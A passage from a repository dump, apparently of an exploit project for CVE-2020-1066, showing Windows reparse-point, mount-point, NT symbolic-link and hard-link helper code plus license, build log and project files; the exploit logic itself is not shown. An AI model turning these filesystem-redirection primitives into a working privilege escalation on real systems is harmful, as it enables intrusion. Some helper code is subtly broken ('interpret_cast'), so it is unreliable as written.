IO_REPARSE_TAG_SYMLINK);\n}\n\nbool ReparsePoint::ReadMountPoint(const std::wstring& path, std::wstring& target, std::wstring& printname)\n{\n\ttyped_buffer_ptr<REPARSE_DATA_BUFFER> buffer;\n\n\tif (ReadReparsePoint(path, buffer) && buffer->ReparseTag == IO_REPARSE_TAG_MOUNT_POINT)\n\t{\n\t\tWCHAR* target_name = &buffer->MountPointReparseBuffer.PathBuffer[buffer->MountPointReparseBuffer.SubstituteNameOffset / 2];\n\t\tWCHAR* display_name = &buffer->MountPointReparseBuffer.PathBuffer[buffer->MountPointReparseBuffer.PrintNameOffset / 2];\n\t\ttarget.assign(target_name, target_name + buffer->MountPointReparseBuffer.SubstituteNameLength / 2);\n\t\tprintname.assign(display_name, display_name + buffer->MountPointReparseBuffer.PrintNameLength / 2);\n\t\treturn true;\n\t}\n\telse\n\t{\n\t\treturn false;\n\t}\n}\n\nbool ReparsePoint::ReadSymlink(const std::wstring& path, std::wstring& target, std::wstring& printname, unsigned int* flags)\n{\n\ttyped_buffer_ptr<REPARSE_DATA_BUFFER> buffer;\n\n\tif (ReadReparsePoint(path, buffer) && buffer->ReparseTag == IO_REPARSE_TAG_SYMLINK)\n\t{\n\t\tWCHAR* target_name = &buffer->SymbolicLinkReparseBuffer.PathBuffer[buffer->SymbolicLinkReparseBuffer.SubstituteNameOffset / 2];\n\t\tWCHAR* display_name = &buffer->SymbolicLinkReparseBuffer.PathBuffer[buffer->SymbolicLinkReparseBuffer.PrintNameOffset / 2];\n\t\ttarget.assign(target_name, target_name + buffer->SymbolicLinkReparseBuffer.SubstituteNameLength / 2);\n\t\tprintname.assign(display_name, display_name + buffer->SymbolicLinkReparseBuffer.PrintNameLength / 2);\n\t\t*flags = buffer->SymbolicLinkReparseBuffer.Flags;\n\t\treturn true;\n\t}\n\telse\n\t{\n\t\treturn false;\n\t}\t\n}\n\nbool ReparsePoint::ReadRaw(const std::wstring& path, unsigned int* reparse_tag, std::vector<BYTE>& raw_data)\n{\n\ttyped_buffer_ptr<REPARSE_DATA_BUFFER> buffer;\n\n\tif (ReadReparsePoint(path, buffer))\n\t{\n\t\t*reparse_tag = buffer->ReparseTag;\n\t\traw_data.resize(buffer->ReparseDataLength);\n\t\tmemcpy(&raw_data[0], buffer->GenericReparseBuffer.DataBuffer, buffer->ReparseDataLength);\n\t\treturn true;\n\t}\n\telse\n\t{\n\t\treturn false;\n\t}\n\n\treturn false;\n}\n"
  },
  {
    "path": "CommonUtils/ReparsePoint.h",
    "content": "#pragma once\n\n#include <string>\n#include <vector>\n\nclass ReparsePoint\n{\t\npublic:\n\n\tstatic bool CreateMountPoint(const std::wstring& path, const std::wstring& target, const std::wstring& printname);\n\tstatic bool DeleteMountPoint(const std::wstring& path);\n\tstatic std::wstring GetMountPointTarget(const std::wstring& path);\n\tstatic bool CreateRawMountPoint(const std::wstring& path, DWORD reparse_tag, const std::vector<BYTE>& buffer);\n\tstatic bool IsMountPoint(const std::wstring& path);\n\tstatic bool IsSymlink(const std::wstring& path);\n\tstatic bool ReadMountPoint(const std::wstring& path, std::wstring& target, std::wstring& printname);\n\tstatic bool ReadSymlink(const std::wstring& path, std::wstring& target, std::wstring& printname, unsigned int* flags);\n\tstatic bool ReadRaw(const std::wstring& path, unsigned int* reparse_tag, std::vector<BYTE>& raw_data);\n\tstatic bool IsReparsePoint(const std::wstring& path);\n\tstatic bool CreateSymlink(const std::wstring& path, const std::wstring& target, const std::wstring& printname, bool relative);\n\tstatic bool CreateSymlink(HANDLE h, const std::wstring& target, const std::wstring& printname, bool relative);\n\n\tstatic int GetLastError();\n};\n\n"
  },
  {
    "path": "CommonUtils/ScopedHandle.cpp",
    "content": "//  Copyright 2015 Google Inc. All Rights Reserved.\n//\n//  Licensed under the Apache License, Version 2.0 (the \"License\");\n//  you may not use this file except in compliance with the License.\n//  You may obtain a copy of the License at\n//\n//  http ://www.apache.org/licenses/LICENSE-2.0\n//\n//  Unless required by applicable law or agreed to in writing, software\n//  distributed under the License is distributed on an \"AS IS\" BASIS,\n//  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n//  See the License for the specific language governing permissions and\n//  limitations under the License.\n\n#include \"stdafx.h\"\n#include \"ScopedHandle.h\"\n\nstatic HANDLE Duplicate(HANDLE h)\n{\n\tHANDLE dup;\n\n\tif ((h == INVALID_HANDLE_VALUE) || !DuplicateHandle(GetCurrentProcess(), h, GetCurrentProcess(), &dup, 0, FALSE, DUPLICATE_SAME_ACCESS))\n\t{\n\t\treturn nullptr;\n\t}\n\telse\n\t{\n\t\treturn dup;\n\t}\n}\n\nScopedHandle::ScopedHandle(HANDLE h, bool duplicate)\n{\t\n\tif (duplicate)\n\t{\n\t\tg_h = Duplicate(h);\n\t}\n\telse\n\t{\n\t\tg_h = h;\n\t}\n}\n\nScopedHandle::ScopedHandle(const ScopedHandle& other)\n{\n\tg_h = Duplicate(other.g_h);\n}\n\nScopedHandle& ScopedHandle::operator=(const ScopedHandle& other)\n{\n\tif (this != &other)\n\t{\n\t\tg_h = Duplicate(other.g_h);\n\t}\n\n\treturn *this;\n}\n\nScopedHandle::ScopedHandle(ScopedHandle&& other)\n{\n\tg_h = other.g_h;\n\tother.g_h = nullptr;\n}\n\nScopedHandle& ScopedHandle::operator=(ScopedHandle&& other)\n{\n\tif (this != &other)\n\t{\n\t\tg_h = other.g_h;\n\t\tother.g_h = nullptr;\n\t}\n\n\treturn *this;\n}\n\nvoid ScopedHandle::Close() \n{\n\tif (IsValid())\n\t{\n\t\tCloseHandle(g_h);\n\t\tg_h = nullptr;\n\t}\n}\n\nvoid ScopedHandle::Reset(HANDLE h)\n{\n\tClose();\n\tg_h = h;\n}\n\nScopedHandle::~ScopedHandle()\n{\n\tClose();\n}\n"
  },
  {
    "path": "CommonUtils/ScopedHandle.h",
    "content": "#pragma once\nclass ScopedHandle\n{\n\tHANDLE g_h;\n\npublic:\n\tScopedHandle(HANDLE h, bool duplicate);\n\tvoid Close();\n\tvoid Reset(HANDLE h);\n\tbool IsValid() const {\n\t\treturn (g_h != nullptr) && (g_h != INVALID_HANDLE_VALUE);\n\t}\n\tScopedHandle(const ScopedHandle& other);\n\tScopedHandle& operator=(const ScopedHandle& other);\n\n\tScopedHandle(ScopedHandle&& other);\t\n\tScopedHandle& operator=(ScopedHandle&& other);\n\n\toperator HANDLE() const {\n\t\treturn g_h;\n\t}\t\n\n\t~ScopedHandle();\n};\n\n"
  },
  {
    "path": "CommonUtils/ntimports.h",
    "content": "#pragma once\n\n#include <Windows.h>\n#include <winternl.h>\n\n#define DIRECTORY_QUERY 0x0001\n#define DIRECTORY_TRAVERSE 0x0002\n#define DIRECTORY_CREATE_OBJECT 0x0004\n#define DIRECTORY_CREATE_SUBDIRECTORY 0x0008\n#define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF)\n\ntypedef NTSTATUS(NTAPI *_NtCreateDirectoryObject)(PHANDLE Handle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);\ntypedef NTSTATUS(NTAPI *_NtCreateDirectoryObjectEx)(PHANDLE Handle, ACCESS_MASK DesiredAccess,\n\tPOBJECT_ATTRIBUTES ObjectAttributes, HANDLE ShadowDir, BOOLEAN Something);\ntypedef NTSTATUS(NTAPI *_NtOpenDirectoryObject)(PHANDLE Handle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);\ntypedef VOID(NTAPI *_RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);\n\n#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)\n\ntypedef NTSTATUS(NTAPI* _NtCreateSymbolicLinkObject)(PHANDLE LinkHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PUNICODE_STRING TargetName);\ntypedef NTSTATUS(NTAPI* _NtOpenSymbolicLinkObject)(PHANDLE LinkHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);\ntypedef NTSTATUS(NTAPI* _NtQuerySymbolicLinkObject)(HANDLE LinkHandle, PUNICODE_STRING LinkTarget, PULONG ReturnedLength);\ntypedef NTSTATUS(NTAPI* _NtOpenFile)(\n\t_Out_ PHANDLE            FileHandle,\n\t_In_  ACCESS_MASK        DesiredAccess,\n\t_In_  POBJECT_ATTRIBUTES ObjectAttributes,\n\t_Out_ PIO_STATUS_BLOCK   IoStatusBlock,\n\t_In_  ULONG              ShareAccess,\n\t_In_  ULONG              OpenOptions\n\t);\n\nconst ULONG FileLinkInformation = 11;\n\ntypedef struct _FILE_LINK_INFORMATION {\n\tBOOLEAN ReplaceIfExists;\n\tHANDLE  RootDirectory;\n\tULONG   FileNameLength;\n\tWCHAR   FileName[1];\n} FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION;\n\ntypedef NTSTATUS(__stdcall *_ZwSetInformationFile)(\n\t_In_   HANDLE                 FileHandle,\n\t_Out_  PIO_STATUS_BLOCK       IoStatusBlock,\n\t_In_   PVOID                  FileInformation,\n\t_In_   ULONG                  Length,\n\t_In_   ULONG\t\t\t      FileInformationClass\n\t);\ntypedef ULONG(NTAPI* _RtlNtStatusToDosError)(NTSTATUS status);\nvoid SetNtLastError(NTSTATUS status);\n\n#define DEFINE_NTDLL(x) _ ## x f ## x = (_ ## x)GetProcAddressNT(#x)\n"
  },
  {
    "path": "CommonUtils/stdafx.cpp",
    "content": "// stdafx.cpp : source file that includes just the standard includes\n// CommonUtils.pch will be the pre-compiled header\n// stdafx.obj will contain the pre-compiled type information\n\n#include \"stdafx.h\"\n\n// TODO: reference any additional headers you need in STDAFX.H\n// and not in this file\n"
  },
  {
    "path": "CommonUtils/stdafx.h",
    "content": "// stdafx.h : include file for standard system include files,\n// or project specific include files that are used frequently, but\n// are changed infrequently\n//\n\n#pragma once\n\n#include \"targetver.h\"\n#include <Windows.h>\n\nFARPROC GetProcAddressNT(LPCSTR lpName);"
  },
  {
    "path": "CommonUtils/targetver.h",
    "content": "#pragma once\n\n// Including SDKDDKVer.h defines the highest available Windows platform.\n\n// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and\n// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.\n\n#include <SDKDDKVer.h>\n"
  },
  {
    "path": "CommonUtils/typed_buffer.h",
    "content": "#pragma once\n\n#include <memory>\n#include <algorithm>\n\ntemplate<class T>\nclass typed_buffer_ptr {\n\tstd::unique_ptr<char[]> buffer_;\n\tsize_t size_;\n\npublic:\n\ttyped_buffer_ptr() {\n\t}\n\n\texplicit typed_buffer_ptr(size_t size) {\n\t\treset(size);\n\t}\n\n\tvoid reset(size_t size) {\n\t\tbuffer_.reset(new char[size]);\n\t\tmemset(buffer_.get(), 0, size);\n\t\tsize_ = size;\n\t}\n\n\tvoid resize(size_t size) {\n\t\tstd::unique_ptr<char[]> tmp(new char[size]);\n\n\t\tmemcpy(tmp.get(), buffer_.get(), min(size, size_));\n\n\t\tbuffer_ = std::move(tmp);\n\t}\n\n\toperator T*() {\n\t\treturn reinterpret_cast<T*>(buffer_.get());\n\t}\n\n\toperator const T*() const {\n\t\treturn cget();\n\t}\n\n\tT* operator->() const {\n\t\treturn reinterpret_cast<T*>(buffer_.get());\n\t}\n\n\tconst T* cget() const {\n\t\treturn interpret_cast<const T*>(buffer_.get());\n\t}\n\n\ttyped_buffer_ptr(const typed_buffer_ptr<T>& other) = delete;\n\ttyped_buffer_ptr& typed_buffer_ptr::operator=(const typed_buffer_ptr<T>& other) = delete;\n\n\ttyped_buffer_ptr(typed_buffer_ptr<T>&& other) {\n\t\tbuffer_ = std::move(other.buffer_);\n\t\tsize_ = other.size_;\n\t\tother.size_ = 0;\n\t}\n\n\ttyped_buffer_ptr& operator=(typed_buffer_ptr<T>&& other) {\n\t\tif (this != &other)\n\t\t{\n\t\t\tbuffer_ = std::move(other.buffer_);\n\t\t\tsize_ = other.size_;\n\t\t\tother.size_ = 0;\n\t\t}\n\t}\n\n\tsize_t size() const {\n\t\treturn size_;\n\t}\n};"
  },
  {
    "path": "LICENSE",
    "content": "                     木兰宽松许可证, 第1版\n\n   木兰宽松许可证， 第1版\n   2019年8月 http://license.coscl.org.cn/MulanPSL\n\n   您对“软件”的复制、使用、修改及分发受木兰宽松许可证，第1版（“本许可证”）的如下条款的约束：\n\n   0. 定义\n\n      “软件”是指由“贡献”构成的许可在“本许可证”下的程序和相关文档的集合。\n\n      “贡献者”是指将受版权法保护的作品许可在“本许可证”下的自然人或“法人实体”。\n\n      “法人实体”是指提交贡献的机构及其“关联实体”。\n\n      “关联实体”是指，对“本许可证”下的一方而言，控制、受控制或与其共同受控制的机构，此处的控制是指有受控方或共同受控方至少50%直接或间接的投票权、资金或其他有价证券。\n\n      “贡献”是指由任一“贡献者”许可在“本许可证”下的受版权法保护的作品。\n\n   1. 授予版权许可\n\n      每个“贡献者”根据“本许可证”授予您永久性的、全球性的、免费的、非独占的、不可撤销的版权许可，您可以复制、使用、修改、分发其“贡献”，不论修改与否。\n\n   2. 授予专利许可\n\n      每个“贡献者”根据“本许可证”授予您永久性的、全球性的、免费的、非独占的、不可撤销的（根据本条规定撤销除外）专利许可，供您制造、委托制造、使用、许诺销售、销售、进口其“贡献”或以其他方式转移其“贡献”。前述专利许可仅限于“贡献者”现在或将来拥有或控制的其“贡献”本身或其“贡献”与许可“贡献”时的“软件”结合而将必然会侵犯的专利权利要求，不包括仅因您或他人修改“贡献”或其他结合而将必然会侵犯到的专利权利要求。如您或您的“关联实体”直接或间接地（包括通过代理、专利被许可人或受让人），就“软件”或其中的“贡献”对任何人发起专利侵权诉讼（包括反诉或交叉诉讼）或其他专利维权行动，指控其侵犯专利权，则“本许可证”授予您对“软件”的专利许可自您提起诉讼或发起维权行动之日终止。\n\n   3. 无商标许可\n\n      “本许可证”不提供对“贡献者”的商品名称、商标、服务标志或产品名称的商标许可，但您为满足第4条规定的声明义务而必须使用除外。\n\n   4. 分发限制\n\n      您可以在任何媒介中将“软件”以源程序形式或可执行形式重新分发，不论修改与否，但您必须向接收者提供“本许可证”的副本，并保留“软件”中的版权、商标、专利及免责声明。\n\n   5. 免责声明与责任限制\n\n      “软件”及其中的“贡献”在提供时不带任何明示或默示的担保。在任何情况下，“贡献者”或版权所有者不对任何人因使用“软件”或其中的“贡献”而引发的任何直接或间接损失承担责任，不论因何种原因导致或者基于何种法律理论,即使其曾被建议有此种损失的可能性。\n\n   条款结束。\n\n   如何将木兰宽松许可证，第1版，应用到您的软件\n\n   如果您希望将木兰宽松许可证，第1版，应用到您的新软件，为了方便接收者查阅，建议您完成如下三步：\n\n      1， 请您补充如下声明中的空白，包括软件名、软件的首次发表年份以及您作为版权人的名字；\n\n      2， 请您在软件包的一级目录下创建以“LICENSE”为名的文件，将整个许可证文本放入该文件中；\n\n      3， 请将如下声明文本放入每个源文件的头部注释中。\n\n   Copyright (c) [2019] [name of copyright holder]\n   [Software Name] is licensed under the Mulan PSL v1.\n   You can use this software according to the terms and conditions of the Mulan PSL v1.\n   You may obtain a copy of Mulan PSL v1 at:\n      http://license.coscl.org.cn/MulanPSL\n   THIS SOFTWARE IS PROVIDED ON AN \"AS IS\" BASIS, WITHOUT WARRANTIES OF ANY KIND, EITHER EXPRESS OR\n   IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT, MERCHANTABILITY OR FIT FOR A PARTICULAR\n   PURPOSE.\n   See the Mulan PSL v1 for more details.\n\n\n                     Mulan Permissive Software License，Version 1\n\n   Mulan Permissive Software License，Version 1 (Mulan PSL v1)\n   August 2019 http://license.coscl.org.cn/MulanPSL\n\n   Your reproduction, use, modification and distribution of the Software shall be subject to Mulan PSL v1 (this License) with following terms and conditions:\n\n   0. Definition\n\n      Software means the program and related documents which are comprised of those Contribution and licensed under this License.\n\n      Contributor means the Individual or Legal Entity who licenses its copyrightable work under this License.\n\n      Legal Entity means the entity making a Contribution and all its Affiliates.\n\n      Affiliates means entities that control, or are controlled by, or are under common control with a party to this License, ‘control’ means direct or indirect ownership of at least fifty percent (50%) of the voting power, capital or other securities of controlled or commonly controlled entity.\n\n   Contribution means the copyrightable work licensed by a particular Contributor under this License.\n\n   1. Grant of Copyright License\n\n      Subject to the terms and conditions of this License, each Contributor hereby grants to you a perpetual, worldwide, royalty-free, non-exclusive, irrevocable copyright license to reproduce, use, modify, or distribute its Contribution, with modification or not.\n\n   2. Grant of Patent License\n\n      Subject to the terms and conditions of this License, each Contributor hereby grants to you a perpetual, worldwide, royalty-free, non-exclusive, irrevocable (except for revocation under this Section) patent license to make, have made, use, offer for sale, sell, import or otherwise transfer its Contribution where such patent license is only limited to the patent claims owned or controlled by such Contributor now or in future which will be necessarily infringed by its Contribution alone, or by combination of the Contribution with the Software to which the Contribution was contributed, excluding of any patent claims solely be infringed by your or others’ modification or other combinations. If you or your Affiliates directly or indirectly (including through an agent, patent licensee or assignee）, institute patent litigation (including a cross claim or counterclaim in a litigation) or other patent enforcement activities against any individual or entity by alleging that the Software or any Contribution in it infringes patents, then any patent license granted to you under this License for the Software shall terminate as of the date such litigation or activity is filed or taken.\n\n   3. No Trademark License\n\n      No trademark license is granted to use the trade names, trademarks, service marks, or product names of Contributor, except as required to fulfill notice requirements in section 4.\n\n   4. Distribution Restriction\n\n      You may distribute the Software in any medium with or without modification, whether in source or executable forms, provided that you provide recipients with a copy of this License and retain copyright, patent, trademark and disclaimer statements in the Software.\n\n   5. Disclaimer of Warranty and Limitation of Liability\n\n      The Software and Contribution in it are provided without warranties of any kind, either express or implied. In no event shall any Contributor or copyright holder be liable to you for any damages, including, but not limited to any direct, or indirect, special or consequential damages arising from your use or inability to use the Software or the Contribution in it, no matter how it’s caused or based on which legal theory, even if advised of the possibility of such damages.\n\n   End of the Terms and Conditions\n\n   How to apply the Mulan Permissive Software License，Version 1 (Mulan PSL v1) to your software\n\n      To apply the Mulan PSL v1 to your work, for easy identification by recipients, you are suggested to complete following three steps:\n\n      i. Fill in the blanks in following statement, including insert your software name, the year of the first publication of your software, and your name identified as the copyright owner;\n      ii. Create a file named “LICENSE” which contains the whole context of this License in the first directory of your software package;\n      iii. Attach the statement to the appropriate annotated syntax at the beginning of each source file.\n   \n   Copyright (c) [2019] [name of copyright holder]\n   [Software Name] is licensed under the Mulan PSL v1.\n   You can use this software according to the terms and conditions of the Mulan PSL v1.\n   You may obtain a copy of Mulan PSL v1 at:\n      http://license.coscl.org.cn/MulanPSL\n   THIS SOFTWARE IS PROVIDED ON AN \"AS IS\" BASIS, WITHOUT WARRANTIES OF ANY KIND, EITHER EXPRESS OR\n   IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT, MERCHANTABILITY OR FIT FOR A PARTICULAR\n   PURPOSE.\n   \n   See the Mulan PSL v1 for more details.\n"
  },
  {
    "path": "MyComDefine/Debug/MyComDefine.log",
    "content": "﻿生成启动时间为 2020/5/2 15:58:28。\n     1>项目“E:\\git\\CVE-2020-1066\\CVE-2020-1066-EXP\\MyComDefine\\MyComDefine.vcxproj”在节点 4 上(Build 个目标)。\n     1>Midl:\n         C:\\Program Files (x86)\\Windows Kits\\8.1\\bin\\x86\\midl.exe /W1 /nologo /char signed /env win32 /h \"resolver_h.h\" /tlb \"Debug\\MyComDefine.tlb\" resolver.idl \n         Processing .\\resolver.idl\n         resolver.idl\n         Processing C:\\Program Files (x86)\\Windows Kits\\8.1\\Include\\um\\oaidl.idl\n         oaidl.idl\n         Processing C:\\Program Files (x86)\\Windows Kits\\8.1\\Include\\um\\objidl.idl\n         objidl.idl\n         Processing C:\\Program Files (x86)\\Windows Kits\\8.1\\Include\\um\\unknwn.idl\n         unknwn.idl\n         Processing C:\\Program Files (x86)\\Windows Kits\\8.1\\Include\\shared\\wtypes.idl\n         wtypes.idl\n         Processing C:\\Program Files (x86)\\Windows Kits\\8.1\\Include\\shared\\wtypesbase.idl\n         wtypesbase.idl\n         Processing C:\\Program Files (x86)\\Windows Kits\\8.1\\Include\\shared\\basetsd.h\n         basetsd.h\n         Processing C:\\Program Files (x86)\\Windows Kits\\8.1\\Include\\shared\\guiddef.h\n         guiddef.h\n         Processing C:\\Program Files (x86)\\Windows Kits\\8.1\\Include\\um\\ocidl.idl\n         ocidl.idl\n         Processing C:\\Program Files (x86)\\Windows Kits\\8.1\\Include\\um\\oleidl.idl\n         oleidl.idl\n         Processing C:\\Program Files (x86)\\Windows Kits\\8.1\\Include\\um\\servprov.idl\n         servprov.idl\n         Processing C:\\Program Files (x86)\\Windows Kits\\8.1\\Include\\um\\urlmon.idl\n         urlmon.idl\n         Processing C:\\Program Files (x86)\\Windows Kits\\8.1\\Include\\um\\msxml.idl\n         msxml.idl\n         Processing C:\\Program Files (x86)\\Windows Kits\\8.1\\Include\\um\\oaidl.acf\n         oaidl.acf\n         Processing C:\\Program Files (x86)\\Windows Kits\\8.1\\Include\\um\\ocidl.acf\n         ocidl.acf\n     1>已完成生成项目“E:\\git\\CVE-2020-1066\\CVE-2020-1066-EXP\\MyComDefine\\MyComDefine.vcxproj”(Build 个目标)的操作。\n\n生成成功。\n\n已用时间 00:00:04.30\n"
  },
  {
    "path": "MyComDefine/Debug/MyComDefine.tlog/MyComDefine.lastbuildstate",
    "content": "#TargetFrameworkVersion=v4.0:PlatformToolSet=v120:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit\nDebug|Win32|E:\\git\\CVE-2020-1066\\CVE-2020-1066-EXP\\|\n"
  },
  {
    "path": "MyComDefine/MyComDefine.vcxproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"12.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Debug|Win32\">\n      <Configuration>Debug</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Debug|x64\">\n      <Configuration>Debug</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|Win32\">\n      <Configuration>Release</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|x64\">\n      <Configuration>Release</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <ProjectGuid>{5A1D46C5-A03C-4622-A737-A8D798C5DEF7}</ProjectGuid>\n    <RootNamespace>MyComDefine</RootNamespace>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Utility</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v120</PlatformToolset>\n    <CharacterSet>MultiByte</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Utility</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v120</PlatformToolset>\n    <CharacterSet>MultiByte</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v120</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>MultiByte</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v120</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>MultiByte</CharacterSet>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"PropertySheets\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"PropertySheets\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <PropertyGroup />\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <Optimization>Disabled</Optimization>\n      <SDLCheck>true</SDLCheck>\n    </ClCompile>\n    <Link>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <Optimization>Disabled</Optimization>\n      <SDLCheck>true</SDLCheck>\n    </ClCompile>\n    <Link>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <Optimization>MaxSpeed</Optimization>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n    </ClCompile>\n    <Link>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <Optimization>MaxSpeed</Optimization>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n    </ClCompile>\n    <Link>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemGroup>\n    <Midl Include=\"resolver.idl\" />\n  </ItemGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  <ImportGroup Label=\"ExtensionTargets\">\n  </ImportGroup>\n</Project>"
  },
  {
    "path": "MyComDefine/MyComDefine.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"源文件\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"头文件\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"资源文件\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <Midl Include=\"resolver.idl\">\n      <Filter>源文件</Filter>\n    </Midl>\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "MyComDefine/MyComDefine.vcxproj.user",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"12.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <DebuggerFlavor>WindowsRemoteDebugger</DebuggerFlavor>\n  </PropertyGroup>\n</Project>"
  },
  {
    "path": "MyComDefine/dlldata.c",
